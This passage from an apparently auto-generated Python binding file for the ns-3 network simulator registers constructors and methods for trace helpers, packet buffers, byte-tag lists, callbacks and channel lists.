## trace-helper.h (module 'network'): ns3::Ptr<ns3::OutputStreamWrapper> ns3::AsciiTraceHelper::CreateFileStream(std::string filename, std::_Ios_Openmode filemode=std::ios_base::out) [member function]
cls.add_method('CreateFileStream',
'ns3::Ptr< ns3::OutputStreamWrapper >',
[param('std::string', 'filename'), param('std::_Ios_Openmode', 'filemode', default_value='std::ios_base::out')])
## trace-helper.h (module 'network'): static void ns3::AsciiTraceHelper::DefaultDequeueSinkWithContext(ns3::Ptr<ns3::OutputStreamWrapper> file, std::string context, ns3::Ptr<ns3::Packet const> p) [member function]
cls.add_method('DefaultDequeueSinkWithContext',
'void',
[param('ns3::Ptr< ns3::OutputStreamWrapper >', 'file'), param('std::string', 'context'), param('ns3::Ptr< ns3::Packet const >', 'p')],
is_static=True)
## trace-helper.h (module 'network'): static void ns3::AsciiTraceHelper::DefaultDequeueSinkWithoutContext(ns3::Ptr<ns3::OutputStreamWrapper> file, ns3::Ptr<ns3::Packet const> p) [member function]
cls.add_method('DefaultDequeueSinkWithoutContext',
'void',
[param('ns3::Ptr< ns3::OutputStreamWrapper >', 'file'), param('ns3::Ptr< ns3::Packet const >', 'p')],
is_static=True)
## trace-helper.h (module 'network'): static void ns3::AsciiTraceHelper::DefaultDropSinkWithContext(ns3::Ptr<ns3::OutputStreamWrapper> file, std::string context, ns3::Ptr<ns3::Packet const> p) [member function]
cls.add_method('DefaultDropSinkWithContext',
'void',
[param('ns3::Ptr< ns3::OutputStreamWrapper >', 'file'), param('std::string', 'context'), param('ns3::Ptr< ns3::Packet const >', 'p')],
is_static=True)
## trace-helper.h (module 'network'): static void ns3::AsciiTraceHelper::DefaultDropSinkWithoutContext(ns3::Ptr<ns3::OutputStreamWrapper> file, ns3::Ptr<ns3::Packet const> p) [member function]
cls.add_method('DefaultDropSinkWithoutContext',
'void',
[param('ns3::Ptr< ns3::OutputStreamWrapper >', 'file'), param('ns3::Ptr< ns3::Packet const >', 'p')],
is_static=True)
## trace-helper.h (module 'network'): static void ns3::AsciiTraceHelper::DefaultEnqueueSinkWithContext(ns3::Ptr<ns3::OutputStreamWrapper> file, std::string context, ns3::Ptr<ns3::Packet const> p) [member function]
cls.add_method('DefaultEnqueueSinkWithContext',
'void',
[param('ns3::Ptr< ns3::OutputStreamWrapper >', 'file'), param('std::string', 'context'), param('ns3::Ptr< ns3::Packet const >', 'p')],
is_static=True)
## trace-helper.h (module 'network'): static void ns3::AsciiTraceHelper::DefaultEnqueueSinkWithoutContext(ns3::Ptr<ns3::OutputStreamWrapper> file, ns3::Ptr<ns3::Packet const> p) [member function]
cls.add_method('DefaultEnqueueSinkWithoutContext',
'void',
[param('ns3::Ptr< ns3::OutputStreamWrapper >', 'file'), param('ns3::Ptr< ns3::Packet const >', 'p')],
is_static=True)
## trace-helper.h (module 'network'): static void ns3::AsciiTraceHelper::DefaultReceiveSinkWithContext(ns3::Ptr<ns3::OutputStreamWrapper> file, std::string context, ns3::Ptr<ns3::Packet const> p) [member function]
cls.add_method('DefaultReceiveSinkWithContext',
'void',
[param('ns3::Ptr< ns3::OutputStreamWrapper >', 'file'), param('std::string', 'context'), param('ns3::Ptr< ns3::Packet const >', 'p')],
is_static=True)
## trace-helper.h (module 'network'): static void ns3::AsciiTraceHelper::DefaultReceiveSinkWithoutContext(ns3::Ptr<ns3::OutputStreamWrapper> file, ns3::Ptr<ns3::Packet const> p) [member function]
cls.add_method('DefaultReceiveSinkWithoutContext',
'void',
[param('ns3::Ptr< ns3::OutputStreamWrapper >', 'file'), param('ns3::Ptr< ns3::Packet const >', 'p')],
is_static=True)
## trace-helper.h (module 'network'): std::string ns3::AsciiTraceHelper::GetFilenameFromDevice(std::string prefix, ns3::Ptr<ns3::NetDevice> device, bool useObjectNames=true) [member function]
cls.add_method('GetFilenameFromDevice',
'std::string',
[param('std::string', 'prefix'), param('ns3::Ptr< ns3::NetDevice >', 'device'), param('bool', 'useObjectNames', default_value='true')])
## trace-helper.h (module 'network'): std::string ns3::AsciiTraceHelper::GetFilenameFromInterfacePair(std::string prefix, ns3::Ptr<ns3::Object> object, uint32_t interface, bool useObjectNames=true) [member function]
cls.add_method('GetFilenameFromInterfacePair',
'std::string',
[param('std::string', 'prefix'), param('ns3::Ptr< ns3::Object >', 'object'), param('uint32_t', 'interface'), param('bool', 'useObjectNames', default_value='true')])
return
def register_Ns3AsciiTraceHelperForDevice_methods(root_module, cls):
## trace-helper.h (module 'network'): ns3::AsciiTraceHelperForDevice::AsciiTraceHelperForDevice(ns3::AsciiTraceHelperForDevice const & arg0) [copy constructor]
cls.add_constructor([param('ns3::AsciiTraceHelperForDevice const &', 'arg0')])
## trace-helper.h (module 'network'): ns3::AsciiTraceHelperForDevice::AsciiTraceHelperForDevice() [constructor]
cls.add_constructor([])
## trace-helper.h (module 'network'): void ns3::AsciiTraceHelperForDevice::EnableAscii(std::string prefix, ns3::Ptr<ns3::NetDevice> nd, bool explicitFilename=false) [member function]
cls.add_method('EnableAscii',
'void',
[param('std::string', 'prefix'), param('ns3::Ptr< ns3::NetDevice >', 'nd'), param('bool', 'explicitFilename', default_value='false')])
## trace-helper.h (module 'network'): void ns3::AsciiTraceHelperForDevice::EnableAscii(ns3::Ptr<ns3::OutputStreamWrapper> stream, ns3::Ptr<ns3::NetDevice> nd) [member function]
cls.add_method('EnableAscii',
'void',
[param('ns3::Ptr< ns3::OutputStreamWrapper >', 'stream'), param('ns3::Ptr< ns3::NetDevice >', 'nd')])
## trace-helper.h (module 'network'): void ns3::AsciiTraceHelperForDevice::EnableAscii(std::string prefix, std::string ndName, bool explicitFilename=false) [member function]
cls.add_method('EnableAscii',
'void',
[param('std::string', 'prefix'), param('std::string', 'ndName'), param('bool', 'explicitFilename', default_value='false')])
## trace-helper.h (module 'network'): void ns3::AsciiTraceHelperForDevice::EnableAscii(ns3::Ptr<ns3::OutputStreamWrapper> stream, std::string ndName) [member function]
cls.add_method('EnableAscii',
'void',
[param('ns3::Ptr< ns3::OutputStreamWrapper >', 'stream'), param('std::string', 'ndName')])
## trace-helper.h (module 'network'): void ns3::AsciiTraceHelperForDevice::EnableAscii(std::string prefix, ns3::NetDeviceContainer d) [member function]
cls.add_method('EnableAscii',
'void',
[param('std::string', 'prefix'), param('ns3::NetDeviceContainer', 'd')])
## trace-helper.h (module 'network'): void ns3::AsciiTraceHelperForDevice::EnableAscii(ns3::Ptr<ns3::OutputStreamWrapper> stream, ns3::NetDeviceContainer d) [member function]
cls.add_method('EnableAscii',
'void',
[param('ns3::Ptr< ns3::OutputStreamWrapper >', 'stream'), param('ns3::NetDeviceContainer', 'd')])
## trace-helper.h (module 'network'): void ns3::AsciiTraceHelperForDevice::EnableAscii(std::string prefix, ns3::NodeContainer n) [member function]
cls.add_method('EnableAscii',
'void',
[param('std::string', 'prefix'), param('ns3::NodeContainer', 'n')])
## trace-helper.h (module 'network'): void ns3::AsciiTraceHelperForDevice::EnableAscii(ns3::Ptr<ns3::OutputStreamWrapper> stream, ns3::NodeContainer n) [member function]
cls.add_method('EnableAscii',
'void',
[param('ns3::Ptr< ns3::OutputStreamWrapper >', 'stream'), param('ns3::NodeContainer', 'n')])
## trace-helper.h (module 'network'): void ns3::AsciiTraceHelperForDevice::EnableAscii(std::string prefix, uint32_t nodeid, uint32_t deviceid, bool explicitFilename) [member function]
cls.add_method('EnableAscii',
'void',
[param('std::string', 'prefix'), param('uint32_t', 'nodeid'), param('uint32_t', 'deviceid'), param('bool', 'explicitFilename')])
## trace-helper.h (module 'network'): void ns3::AsciiTraceHelperForDevice::EnableAscii(ns3::Ptr<ns3::OutputStreamWrapper> stream, uint32_t nodeid, uint32_t deviceid) [member function]
cls.add_method('EnableAscii',
'void',
[param('ns3::Ptr< ns3::OutputStreamWrapper >', 'stream'), param('uint32_t', 'nodeid'), param('uint32_t', 'deviceid')])
## trace-helper.h (module 'network'): void ns3::AsciiTraceHelperForDevice::EnableAsciiAll(std::string prefix) [member function]
cls.add_method('EnableAsciiAll',
'void',
[param('std::string', 'prefix')])
## trace-helper.h (module 'network'): void ns3::AsciiTraceHelperForDevice::EnableAsciiAll(ns3::Ptr<ns3::OutputStreamWrapper> stream) [member function]
cls.add_method('EnableAsciiAll',
'void',
[param('ns3::Ptr< ns3::OutputStreamWrapper >', 'stream')])
## trace-helper.h (module 'network'): void ns3::AsciiTraceHelperForDevice::EnableAsciiInternal(ns3::Ptr<ns3::OutputStreamWrapper> stream, std::string prefix, ns3::Ptr<ns3::NetDevice> nd, bool explicitFilename) [member function]
cls.add_method('EnableAsciiInternal',
'void',
[param('ns3::Ptr< ns3::OutputStreamWrapper >', 'stream'), param('std::string', 'prefix'), param('ns3::Ptr< ns3::NetDevice >', 'nd'), param('bool', 'explicitFilename')],
is_pure_virtual=True, is_virtual=True)
return
def register_Ns3AttributeConstructionList_methods(root_module, cls):
## attribute-construction-list.h (module 'core'): ns3::AttributeConstructionList::AttributeConstructionList(ns3::AttributeConstructionList const & arg0) [copy constructor]
cls.add_constructor([param('ns3::AttributeConstructionList const &', 'arg0')])
## attribute-construction-list.h (module 'core'): ns3::AttributeConstructionList::AttributeConstructionList() [constructor]
cls.add_constructor([])
## attribute-construction-list.h (module 'core'): void ns3::AttributeConstructionList::Add(std::string name, ns3::Ptr<ns3::AttributeChecker const> checker, ns3::Ptr<ns3::AttributeValue> value) [member function]
cls.add_method('Add',
'void',
[param('std::string', 'name'), param('ns3::Ptr< ns3::AttributeChecker const >', 'checker'), param('ns3::Ptr< ns3::AttributeValue >', 'value')])
## attribute-construction-list.h (module 'core'): std::_List_const_iterator<ns3::AttributeConstructionList::Item> ns3::AttributeConstructionList::Begin() const [member function]
cls.add_method('Begin',
'std::_List_const_iterator< ns3::AttributeConstructionList::Item >',
[],
is_const=True)
## attribute-construction-list.h (module 'core'): std::_List_const_iterator<ns3::AttributeConstructionList::Item> ns3::AttributeConstructionList::End() const [member function]
cls.add_method('End',
'std::_List_const_iterator< ns3::AttributeConstructionList::Item >',
[],
is_const=True)
## attribute-construction-list.h (module 'core'): ns3::Ptr<ns3::AttributeValue> ns3::AttributeConstructionList::Find(ns3::Ptr<ns3::AttributeChecker const> checker) const [member function]
cls.add_method('Find',
'ns3::Ptr< ns3::AttributeValue >',
[param('ns3::Ptr< ns3::AttributeChecker const >', 'checker')],
is_const=True)
return
def register_Ns3AttributeConstructionListItem_methods(root_module, cls):
## attribute-construction-list.h (module 'core'): ns3::AttributeConstructionList::Item::Item() [constructor]
cls.add_constructor([])
## attribute-construction-list.h (module 'core'): ns3::AttributeConstructionList::Item::Item(ns3::AttributeConstructionList::Item const & arg0) [copy constructor]
cls.add_constructor([param('ns3::AttributeConstructionList::Item const &', 'arg0')])
## attribute-construction-list.h (module 'core'): ns3::AttributeConstructionList::Item::checker [variable]
cls.add_instance_attribute('checker', 'ns3::Ptr< ns3::AttributeChecker const >', is_const=False)
## attribute-construction-list.h (module 'core'): ns3::AttributeConstructionList::Item::name [variable]
cls.add_instance_attribute('name', 'std::string', is_const=False)
## attribute-construction-list.h (module 'core'): ns3::AttributeConstructionList::Item::value [variable]
cls.add_instance_attribute('value', 'ns3::Ptr< ns3::AttributeValue >', is_const=False)
return
def register_Ns3Buffer_methods(root_module, cls):
## buffer.h (module 'network'): ns3::Buffer::Buffer() [constructor]
cls.add_constructor([])
## buffer.h (module 'network'): ns3::Buffer::Buffer(uint32_t dataSize) [constructor]
cls.add_constructor([param('uint32_t', 'dataSize')])
## buffer.h (module 'network'): ns3::Buffer::Buffer(uint32_t dataSize, bool initialize) [constructor]
cls.add_constructor([param('uint32_t', 'dataSize'), param('bool', 'initialize')])
## buffer.h (module 'network'): ns3::Buffer::Buffer(ns3::Buffer const & o) [copy constructor]
cls.add_constructor([param('ns3::Buffer const &', 'o')])
## buffer.h (module 'network'): void ns3::Buffer::AddAtEnd(uint32_t end) [member function]
cls.add_method('AddAtEnd',
'void',
[param('uint32_t', 'end')])
## buffer.h (module 'network'): void ns3::Buffer::AddAtEnd(ns3::Buffer const & o) [member function]
cls.add_method('AddAtEnd',
'void',
[param('ns3::Buffer const &', 'o')])
## buffer.h (module 'network'): void ns3::Buffer::AddAtStart(uint32_t start) [member function]
cls.add_method('AddAtStart',
'void',
[param('uint32_t', 'start')])
## buffer.h (module 'network'): ns3::Buffer::Iterator ns3::Buffer::Begin() const [member function]
cls.add_method('Begin',
'ns3::Buffer::Iterator',
[],
is_const=True)
## buffer.h (module 'network'): void ns3::Buffer::CopyData(std::ostream * os, uint32_t size) const [member function]
cls.add_method('CopyData',
'void',
[param('std::ostream *', 'os'), param('uint32_t', 'size')],
is_const=True)
## buffer.h (module 'network'): uint32_t ns3::Buffer::CopyData(uint8_t * buffer, uint32_t size) const [member function]
cls.add_method('CopyData',
'uint32_t',
[param('uint8_t *', 'buffer'), param('uint32_t', 'size')],
is_const=True)
## buffer.h (module 'network'): ns3::Buffer ns3::Buffer::CreateFragment(uint32_t start, uint32_t length) const [member function]
cls.add_method('CreateFragment',
'ns3::Buffer',
[param('uint32_t', 'start'), param('uint32_t', 'length')],
is_const=True)
## buffer.h (module 'network'): uint32_t ns3::Buffer::Deserialize(uint8_t const * buffer, uint32_t size) [member function]
cls.add_method('Deserialize',
'uint32_t',
[param('uint8_t const *', 'buffer'), param('uint32_t', 'size')])
## buffer.h (module 'network'): ns3::Buffer::Iterator ns3::Buffer::End() const [member function]
cls.add_method('End',
'ns3::Buffer::Iterator',
[],
is_const=True)
## buffer.h (module 'network'): uint32_t ns3::Buffer::GetSerializedSize() const [member function]
cls.add_method('GetSerializedSize',
'uint32_t',
[],
is_const=True)
## buffer.h (module 'network'): uint32_t ns3::Buffer::GetSize() const [member function]
cls.add_method('GetSize',
'uint32_t',
[],
is_const=True)
## buffer.h (module 'network'): uint8_t const * ns3::Buffer::PeekData() const [member function]
cls.add_method('PeekData',
'uint8_t const *',
[],
is_const=True)
## buffer.h (module 'network'): void ns3::Buffer::RemoveAtEnd(uint32_t end) [member function]
cls.add_method('RemoveAtEnd',
'void',
[param('uint32_t', 'end')])
## buffer.h (module 'network'): void ns3::Buffer::RemoveAtStart(uint32_t start) [member function]
cls.add_method('RemoveAtStart',
'void',
[param('uint32_t', 'start')])
## buffer.h (module 'network'): uint32_t ns3::Buffer::Serialize(uint8_t * buffer, uint32_t maxSize) const [member function]
cls.add_method('Serialize',
'uint32_t',
[param('uint8_t *', 'buffer'), param('uint32_t', 'maxSize')],
is_const=True)
return
def register_Ns3BufferIterator_methods(root_module, cls):
## buffer.h (module 'network'): ns3::Buffer::Iterator::Iterator(ns3::Buffer::Iterator const & arg0) [copy constructor]
cls.add_constructor([param('ns3::Buffer::Iterator const &', 'arg0')])
## buffer.h (module 'network'): ns3::Buffer::Iterator::Iterator() [constructor]
cls.add_constructor([])
## buffer.h (module 'network'): uint16_t ns3::Buffer::Iterator::CalculateIpChecksum(uint16_t size) [member function]
cls.add_method('CalculateIpChecksum',
'uint16_t',
[param('uint16_t', 'size')])
## buffer.h (module 'network'): uint16_t ns3::Buffer::Iterator::CalculateIpChecksum(uint16_t size, uint32_t initialChecksum) [member function]
cls.add_method('CalculateIpChecksum',
'uint16_t',
[param('uint16_t', 'size'), param('uint32_t', 'initialChecksum')])
## buffer.h (module 'network'): uint32_t ns3::Buffer::Iterator::GetDistanceFrom(ns3::Buffer::Iterator const & o) const [member function]
cls.add_method('GetDistanceFrom',
'uint32_t',
[param('ns3::Buffer::Iterator const &', 'o')],
is_const=True)
## buffer.h (module 'network'): uint32_t ns3::Buffer::Iterator::GetRemainingSize() const [member function]
cls.add_method('GetRemainingSize',
'uint32_t',
[],
is_const=True)
## buffer.h (module 'network'): uint32_t ns3::Buffer::Iterator::GetSize() const [member function]
cls.add_method('GetSize',
'uint32_t',
[],
is_const=True)
## buffer.h (module 'network'): bool ns3::Buffer::Iterator::IsEnd() const [member function]
cls.add_method('IsEnd',
'bool',
[],
is_const=True)
## buffer.h (module 'network'): bool ns3::Buffer::Iterator::IsStart() const [member function]
cls.add_method('IsStart',
'bool',
[],
is_const=True)
## buffer.h (module 'network'): void ns3::Buffer::Iterator::Next() [member function]
cls.add_method('Next',
'void',
[])
## buffer.h (module 'network'): void ns3::Buffer::Iterator::Next(uint32_t delta) [member function]
cls.add_method('Next',
'void',
[param('uint32_t', 'delta')])
## buffer.h (module 'network'): uint8_t ns3::Buffer::Iterator::PeekU8() [member function]
cls.add_method('PeekU8',
'uint8_t',
[])
## buffer.h (module 'network'): void ns3::Buffer::Iterator::Prev() [member function]
cls.add_method('Prev',
'void',
[])
## buffer.h (module 'network'): void ns3::Buffer::Iterator::Prev(uint32_t delta) [member function]
cls.add_method('Prev',
'void',
[param('uint32_t', 'delta')])
## buffer.h (module 'network'): void ns3::Buffer::Iterator::Read(uint8_t * buffer, uint32_t size) [member function]
cls.add_method('Read',
'void',
[param('uint8_t *', 'buffer'), param('uint32_t', 'size')])
## buffer.h (module 'network'): void ns3::Buffer::Iterator::Read(ns3::Buffer::Iterator start, uint32_t size) [member function]
cls.add_method('Read',
'void',
[param('ns3::Buffer::Iterator', 'start'), param('uint32_t', 'size')])
## buffer.h (module 'network'): uint16_t ns3::Buffer::Iterator::ReadLsbtohU16() [member function]
cls.add_method('ReadLsbtohU16',
'uint16_t',
[])
## buffer.h (module 'network'): uint32_t ns3::Buffer::Iterator::ReadLsbtohU32() [member function]
cls.add_method('ReadLsbtohU32',
'uint32_t',
[])
## buffer.h (module 'network'): uint64_t ns3::Buffer::Iterator::ReadLsbtohU64() [member function]
cls.add_method('ReadLsbtohU64',
'uint64_t',
[])
## buffer.h (module 'network'): uint16_t ns3::Buffer::Iterator::ReadNtohU16() [member function]
cls.add_method('ReadNtohU16',
'uint16_t',
[])
## buffer.h (module 'network'): uint32_t ns3::Buffer::Iterator::ReadNtohU32() [member function]
cls.add_method('ReadNtohU32',
'uint32_t',
[])
## buffer.h (module 'network'): uint64_t ns3::Buffer::Iterator::ReadNtohU64() [member function]
cls.add_method('ReadNtohU64',
'uint64_t',
[])
## buffer.h (module 'network'): uint16_t ns3::Buffer::Iterator::ReadU16() [member function]
cls.add_method('ReadU16',
'uint16_t',
[])
## buffer.h (module 'network'): uint32_t ns3::Buffer::Iterator::ReadU32() [member function]
cls.add_method('ReadU32',
'uint32_t',
[])
## buffer.h (module 'network'): uint64_t ns3::Buffer::Iterator::ReadU64() [member function]
cls.add_method('ReadU64',
'uint64_t',
[])
## buffer.h (module 'network'): uint8_t ns3::Buffer::Iterator::ReadU8() [member function]
cls.add_method('ReadU8',
'uint8_t',
[])
## buffer.h (module 'network'): void ns3::Buffer::Iterator::Write(uint8_t const * buffer, uint32_t size) [member function]
cls.add_method('Write',
'void',
[param('uint8_t const *', 'buffer'), param('uint32_t', 'size')])
## buffer.h (module 'network'): void ns3::Buffer::Iterator::Write(ns3::Buffer::Iterator start, ns3::Buffer::Iterator end) [member function]
cls.add_method('Write',
'void',
[param('ns3::Buffer::Iterator', 'start'), param('ns3::Buffer::Iterator', 'end')])
## buffer.h (module 'network'): void ns3::Buffer::Iterator::WriteHtolsbU16(uint16_t data) [member function]
cls.add_method('WriteHtolsbU16',
'void',
[param('uint16_t', 'data')])
## buffer.h (module 'network'): void ns3::Buffer::Iterator::WriteHtolsbU32(uint32_t data) [member function]
cls.add_method('WriteHtolsbU32',
'void',
[param('uint32_t', 'data')])
## buffer.h (module 'network'): void ns3::Buffer::Iterator::WriteHtolsbU64(uint64_t data) [member function]
cls.add_method('WriteHtolsbU64',
'void',
[param('uint64_t', 'data')])
## buffer.h (module 'network'): void ns3::Buffer::Iterator::WriteHtonU16(uint16_t data) [member function]
cls.add_method('WriteHtonU16',
'void',
[param('uint16_t', 'data')])
## buffer.h (module 'network'): void ns3::Buffer::Iterator::WriteHtonU32(uint32_t data) [member function]
cls.add_method('WriteHtonU32',
'void',
[param('uint32_t', 'data')])
## buffer.h (module 'network'): void ns3::Buffer::Iterator::WriteHtonU64(uint64_t data) [member function]
cls.add_method('WriteHtonU64',
'void',
[param('uint64_t', 'data')])
## buffer.h (module 'network'): void ns3::Buffer::Iterator::WriteU16(uint16_t data) [member function]
cls.add_method('WriteU16',
'void',
[param('uint16_t', 'data')])
## buffer.h (module 'network'): void ns3::Buffer::Iterator::WriteU32(uint32_t data) [member function]
cls.add_method('WriteU32',
'void',
[param('uint32_t', 'data')])
## buffer.h (module 'network'): void ns3::Buffer::Iterator::WriteU64(uint64_t data) [member function]
cls.add_method('WriteU64',
'void',
[param('uint64_t', 'data')])
## buffer.h (module 'network'): void ns3::Buffer::Iterator::WriteU8(uint8_t data) [member function]
cls.add_method('WriteU8',
'void',
[param('uint8_t', 'data')])
## buffer.h (module 'network'): void ns3::Buffer::Iterator::WriteU8(uint8_t data, uint32_t len) [member function]
cls.add_method('WriteU8',
'void',
[param('uint8_t', 'data'), param('uint32_t', 'len')])
return
def register_Ns3BulkSendHelper_methods(root_module, cls):
## bulk-send-helper.h (module 'applications'): ns3::BulkSendHelper::BulkSendHelper(ns3::BulkSendHelper const & arg0) [copy constructor]
cls.add_constructor([param('ns3::BulkSendHelper const &', 'arg0')])
## bulk-send-helper.h (module 'applications'): ns3::BulkSendHelper::BulkSendHelper(std::string protocol, ns3::Address address) [constructor]
cls.add_constructor([param('std::string', 'protocol'), param('ns3::Address', 'address')])
## bulk-send-helper.h (module 'applications'): ns3::ApplicationContainer ns3::BulkSendHelper::Install(ns3::NodeContainer c) const [member function]
cls.add_method('Install',
'ns3::ApplicationContainer',
[param('ns3::NodeContainer', 'c')],
is_const=True)
## bulk-send-helper.h (module 'applications'): ns3::ApplicationContainer ns3::BulkSendHelper::Install(ns3::Ptr<ns3::Node> node) const [member function]
cls.add_method('Install',
'ns3::ApplicationContainer',
[param('ns3::Ptr< ns3::Node >', 'node')],
is_const=True)
## bulk-send-helper.h (module 'applications'): ns3::ApplicationContainer ns3::BulkSendHelper::Install(std::string nodeName) const [member function]
cls.add_method('Install',
'ns3::ApplicationContainer',
[param('std::string', 'nodeName')],
is_const=True)
## bulk-send-helper.h (module 'applications'): void ns3::BulkSendHelper::SetAttribute(std::string name, ns3::AttributeValue const & value) [member function]
cls.add_method('SetAttribute',
'void',
[param('std::string', 'name'), param('ns3::AttributeValue const &', 'value')])
return
def register_Ns3ByteTagIterator_methods(root_module, cls):
## packet.h (module 'network'): ns3::ByteTagIterator::ByteTagIterator(ns3::ByteTagIterator const & arg0) [copy constructor]
cls.add_constructor([param('ns3::ByteTagIterator const &', 'arg0')])
## packet.h (module 'network'): bool ns3::ByteTagIterator::HasNext() const [member function]
cls.add_method('HasNext',
'bool',
[],
is_const=True)
## packet.h (module 'network'): ns3::ByteTagIterator::Item ns3::ByteTagIterator::Next() [member function]
cls.add_method('Next',
'ns3::ByteTagIterator::Item',
[])
return
def register_Ns3ByteTagIteratorItem_methods(root_module, cls):
## packet.h (module 'network'): ns3::ByteTagIterator::Item::Item(ns3::ByteTagIterator::Item const & arg0) [copy constructor]
cls.add_constructor([param('ns3::ByteTagIterator::Item const &', 'arg0')])
## packet.h (module 'network'): uint32_t ns3::ByteTagIterator::Item::GetEnd() const [member function]
cls.add_method('GetEnd',
'uint32_t',
[],
is_const=True)
## packet.h (module 'network'): uint32_t ns3::ByteTagIterator::Item::GetStart() const [member function]
cls.add_method('GetStart',
'uint32_t',
[],
is_const=True)
## packet.h (module 'network'): void ns3::ByteTagIterator::Item::GetTag(ns3::Tag & tag) const [member function]
cls.add_method('GetTag',
'void',
[param('ns3::Tag &', 'tag')],
is_const=True)
## packet.h (module 'network'): ns3::TypeId ns3::ByteTagIterator::Item::GetTypeId() const [member function]
cls.add_method('GetTypeId',
'ns3::TypeId',
[],
is_const=True)
return
def register_Ns3ByteTagList_methods(root_module, cls):
## byte-tag-list.h (module 'network'): ns3::ByteTagList::ByteTagList() [constructor]
cls.add_constructor([])
## byte-tag-list.h (module 'network'): ns3::ByteTagList::ByteTagList(ns3::ByteTagList const & o) [copy constructor]
cls.add_constructor([param('ns3::ByteTagList const &', 'o')])
## byte-tag-list.h (module 'network'): ns3::TagBuffer ns3::ByteTagList::Add(ns3::TypeId tid, uint32_t bufferSize, int32_t start, int32_t end) [member function]
cls.add_method('Add',
'ns3::TagBuffer',
[param('ns3::TypeId', 'tid'), param('uint32_t', 'bufferSize'), param('int32_t', 'start'), param('int32_t', 'end')])
## byte-tag-list.h (module 'network'): void ns3::ByteTagList::Add(ns3::ByteTagList const & o) [member function]
cls.add_method('Add',
'void',
[param('ns3::ByteTagList const &', 'o')])
## byte-tag-list.h (module 'network'): void ns3::ByteTagList::AddAtEnd(int32_t appendOffset) [member function]
cls.add_method('AddAtEnd',
'void',
[param('int32_t', 'appendOffset')])
## byte-tag-list.h (module 'network'): void ns3::ByteTagList::AddAtStart(int32_t prependOffset) [member function]
cls.add_method('AddAtStart',
'void',
[param('int32_t', 'prependOffset')])
## byte-tag-list.h (module 'network'): void ns3::ByteTagList::Adjust(int32_t adjustment) [member function]
cls.add_method('Adjust',
'void',
[param('int32_t', 'adjustment')])
## byte-tag-list.h (module 'network'): ns3::ByteTagList::Iterator ns3::ByteTagList::Begin(int32_t offsetStart, int32_t offsetEnd) const [member function]
cls.add_method('Begin',
'ns3::ByteTagList::Iterator',
[param('int32_t', 'offsetStart'), param('int32_t', 'offsetEnd')],
is_const=True)
## byte-tag-list.h (module 'network'): void ns3::ByteTagList::RemoveAll() [member function]
cls.add_method('RemoveAll',
'void',
[])
return
def register_Ns3ByteTagListIterator_methods(root_module, cls):
## byte-tag-list.h (module 'network'): ns3::ByteTagList::Iterator::Iterator(ns3::ByteTagList::Iterator const & arg0) [copy constructor]
cls.add_constructor([param('ns3::ByteTagList::Iterator const &', 'arg0')])
## byte-tag-list.h (module 'network'): uint32_t ns3::ByteTagList::Iterator::GetOffsetStart() const [member function]
cls.add_method('GetOffsetStart',
'uint32_t',
[],
is_const=True)
## byte-tag-list.h (module 'network'): bool ns3::ByteTagList::Iterator::HasNext() const [member function]
cls.add_method('HasNext',
'bool',
[],
is_const=True)
## byte-tag-list.h (module 'network'): ns3::ByteTagList::Iterator::Item ns3::ByteTagList::Iterator::Next() [member function]
cls.add_method('Next',
'ns3::ByteTagList::Iterator::Item',
[])
return
def register_Ns3ByteTagListIteratorItem_methods(root_module, cls):
## byte-tag-list.h (module 'network'): ns3::ByteTagList::Iterator::Item::Item(ns3::ByteTagList::Iterator::Item const & arg0) [copy constructor]
cls.add_constructor([param('ns3::ByteTagList::Iterator::Item const &', 'arg0')])
## byte-tag-list.h (module 'network'): ns3::ByteTagList::Iterator::Item::Item(ns3::TagBuffer buf) [constructor]
cls.add_constructor([param('ns3::TagBuffer', 'buf')])
## byte-tag-list.h (module 'network'): ns3::ByteTagList::Iterator::Item::buf [variable]
cls.add_instance_attribute('buf', 'ns3::TagBuffer', is_const=False)
## byte-tag-list.h (module 'network'): ns3::ByteTagList::Iterator::Item::end [variable]
cls.add_instance_attribute('end', 'int32_t', is_const=False)
## byte-tag-list.h (module 'network'): ns3::ByteTagList::Iterator::Item::size [variable]
cls.add_instance_attribute('size', 'uint32_t', is_const=False)
## byte-tag-list.h (module 'network'): ns3::ByteTagList::Iterator::Item::start [variable]
cls.add_instance_attribute('start', 'int32_t', is_const=False)
## byte-tag-list.h (module 'network'): ns3::ByteTagList::Iterator::Item::tid [variable]
cls.add_instance_attribute('tid', 'ns3::TypeId', is_const=False)
return
def register_Ns3CallbackBase_methods(root_module, cls):
## callback.h (module 'core'): ns3::CallbackBase::CallbackBase(ns3::CallbackBase const & arg0) [copy constructor]
cls.add_constructor([param('ns3::CallbackBase const &', 'arg0')])
## callback.h (module 'core'): ns3::CallbackBase::CallbackBase() [constructor]
cls.add_constructor([])
## callback.h (module 'core'): ns3::Ptr<ns3::CallbackImplBase> ns3::CallbackBase::GetImpl() const [member function]
cls.add_method('GetImpl',
'ns3::Ptr< ns3::CallbackImplBase >',
[],
is_const=True)
## callback.h (module 'core'): ns3::CallbackBase::CallbackBase(ns3::Ptr<ns3::CallbackImplBase> impl) [constructor]
cls.add_constructor([param('ns3::Ptr< ns3::CallbackImplBase >', 'impl')],
visibility='protected')
return
def register_Ns3ChannelList_methods(root_module, cls):
## channel-list.h (module 'network'): ns3::ChannelList::ChannelList() [constructor]
cls.add_constructor([])
## channel-list.h (module 'network'): ns3::ChannelList::ChannelList(ns3::ChannelList const & arg0) [copy constructor]
cls.add_constructor([param('ns3::ChannelList const &', 'arg0')])
## channel-list.h (module 'network'): static uint32_t ns3::ChannelList::Add(ns3::Ptr<ns3::Channel> channel) [member function]
cls.add_method('Add',
'uint32_t',
[param('ns3::Ptr< ns3::Channel >', 'channel')],
is_static=True)
## channel-list.h (module 'network'): static __gnu_cxx::__normal_iterator<const ns3::Ptr<ns3::Channel>*,std::vector<ns3::Ptr<ns3::Channel>, std::allocator<ns3::Ptr<ns3::Channel> > > > ns3::ChannelList::Begin() [member function]
cls.add_method('Begin',
'__gnu_cxx::__normal_iterator< ns3::Ptr< ns3::Channel > const, std::vector< ns3::Ptr< ns3::Channel > > >',
[],
is_static=True)
## channel-list.h (module 'network'): static __gnu_cxx::__normal_iterator<const ns3::Ptr<ns3::Channel>*,std::vector<ns3::Ptr<ns3::Channel>, std::allocator<ns3::Ptr<ns3::Channel> > > > ns3::ChannelList::End() [member function]
cls.add_method('End',
'__gnu_cxx::__normal_iterator< ns3::Ptr< ns3::Channel > const, std::vector< ns3::Ptr< ns3::Channel > > >',
[],
is_static=True)
## channel-list.h (module 'network'): static ns3::Ptr<ns3::Channel> ns3::ChannelList::GetChannel(uint32_t n) [member function]
cls.add_method('GetChannel',
'ns3::Ptr< ns3::Channel >',
